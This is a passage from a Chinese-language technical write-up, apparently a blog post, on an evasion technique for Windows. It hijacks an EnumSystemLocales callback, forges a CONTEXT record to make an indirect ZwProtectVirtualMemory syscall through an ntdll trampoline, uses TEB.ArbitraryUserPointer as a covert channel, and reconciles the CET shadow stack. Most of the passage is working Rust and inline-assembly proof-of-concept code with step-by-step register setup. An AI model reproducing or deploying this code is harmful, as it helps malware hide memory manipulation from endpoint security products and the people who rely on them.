leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rax, </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64::</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">from</span></span><span leaf="">(args.ssn)) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rip, args.trampoline    ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rcx, args.arg1          ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).R10, args.arg1          ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rdx, args.arg2          ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).R8,  args.arg3          ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).R9,  args.arg4          ) };</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">= </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSN</span></code><span leaf="">，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RIP</span></code><span leaf="">= 跳板，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RCX</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R10</span></code><span leaf="">= arg1（重复因为内核从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R10</span></code><span leaf="">读取），</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RDX</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R8</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R9</span></code><span leaf="">= 参数 2-4。额外参数（5+）放在栈上，使用精心设计的保存-恢复模式以为阶段 3 保留原始值。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">展开得到的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">real_return_address</span></code><span leaf="">（指回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">）放在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[new_rsp]</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">之后，跳板的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">弹出它并返回到 Enum 函数的迭代循环，后者认为回调正常返回了。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此时 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONTEXT</span></code><span leaf="">记录包含：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">= </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x50</span></code><span leaf="">（Win10/11 上 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ZwProtectVirtualMemory</span></code><span leaf="">的 SSN），</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RIP</span></code><span leaf="">= </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll</span></code><span leaf="">内部的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall; ret</span></code><span leaf="">跳板地址，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[new_rsp]</span></code><span leaf="">= 返回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">的返回地址。一切就绪，可以进行上下文切换。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5.5 阶段 3：清理</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">之后，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">返回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">。接下来发生什么取决于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">的返回值（完整解释见 7.2）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在</span><strong><span leaf="">成功情况</span></strong><span leaf="">下（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">STATUS_SUCCESS</span></code><span leaf="">= 0），Enum 函数将返回值解释为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FALSE</span></code><span leaf="">（&#34;停止枚举&#34;）并退出。回调不再被调用。阶段 3 不运行。这是常见路径。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在</span><strong><span leaf="">失败情况</span></strong><span leaf="">下（非零 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTSTATUS</span></code><span leaf="">），Enum 函数将其解释为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TRUE</span></code><span leaf="">（&#34;继续&#34;）并再次调用回调。现在有一个微妙之处：阶段 2 在上下文切换</span><em><span leaf="">之前</span></em><span leaf="">已将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB.ArbitraryUserPointer</span></code><span leaf="">恢复为原始值（我们已用完隐蔽数据通道）。所以当阶段 3 触发时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">不再指向我们的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EmbeddedContext</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">会发生什么？回调读取 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">，得到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NULL</span></code><span leaf="">（常见）或原始值（罕见）。如果是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NULL</span></code><span leaf="">，立即以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">return 0</span></code><span leaf="">退出。如果非空，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">magic</span></code><span leaf="">验证失败，无论如何都返回 0。无论哪种方式：枚举停止。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在此路径中，Enum 函数帧中被系统调用参数 5+ 覆盖的栈槽</span><strong><span leaf="">不会</span></strong><span leaf="">被恢复。对于 PoC（5 个参数），唯一被覆盖的槽位于 home space 区域，这是被调用者可以自由丢弃的暂存空间。没有损害。对于参数更多的系统调用，更健壮的实现需要让 TEB 指针在系统调用期间保持存活，或者接受失败路径可能在展开前让 Enum 函数的帧略微脏污。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5.6 user_mode_continue：CET 兼容的上下文切换</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是整个技术的核心。一个在内联汇编中完成的完整 CPU 状态恢复 + CET 对账。它是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">，一个拥有自己帧和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.pdata</span></code><span leaf="">条目的真实函数，这不是偶然的：正是这使 CET 对账成为必要且活跃的（详见第 6 节）。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#[inline(never)]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">user_mode_continue</span></span><span leaf="">(context_record: </span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span leaf=""> CONTEXT, new_rsp: </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">) -&gt; ! {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">asm!</span></span><span leaf="">(</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- CET shadow stack reconciliation ---</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;xor rax, rax&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.byte 0xF3, 0x48, 0x0F, 0x1E, 0xC8&#34;</span></span><span leaf="">,    </span><span style="color: rgb(106, 115, 125);"><span leaf="">// RDSSPQ rax</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;test rax, rax&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;jz 3f&#34;</span></span><span leaf="">,                                 </span><span style="color: rgb(106, 115, 125);"><span leaf="">// CET off → skip</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;mov r9, 16&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2:&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;mov r11, [rax]&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;cmp r11, [r14]&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;je 3f&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;mov ecx, 1&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.byte 0xF3, 0x48, 0x0F, 0xAE, 0xE9&#34;</span></span><span leaf="">,    </span><span style="color: rgb(106, 115, 125);"><span leaf="">// INCSSPQ rcx</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;add rax, 8&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;dec r9&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;jnz 2b&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- Full state restoration ---</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;3:&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;mov rsp, r14&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// ... EFlags, all GPRs, MXCSR, XMM6-XMM15 ...</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;mov r14, [r15 + 0xE8]&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;mov r15, [r15 + 0xF0]&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;jmp r11&#34;</span></span><span leaf="">,                               </span><span style="color: rgb(106, 115, 125);"><span leaf="">// → CONTEXT.Rip</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;r14&#34;</span></span><span leaf="">) new_rsp,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;r15&#34;</span></span><span leaf="">) context_record,</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">options</span></span><span leaf="">(noreturn)</span><span leaf=""><br/></span><span leaf="">        );</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">函数通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R14</span></code><span leaf="">接收 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">new_rsp</span></code><span leaf="">，通过 </span><code style="font-family: 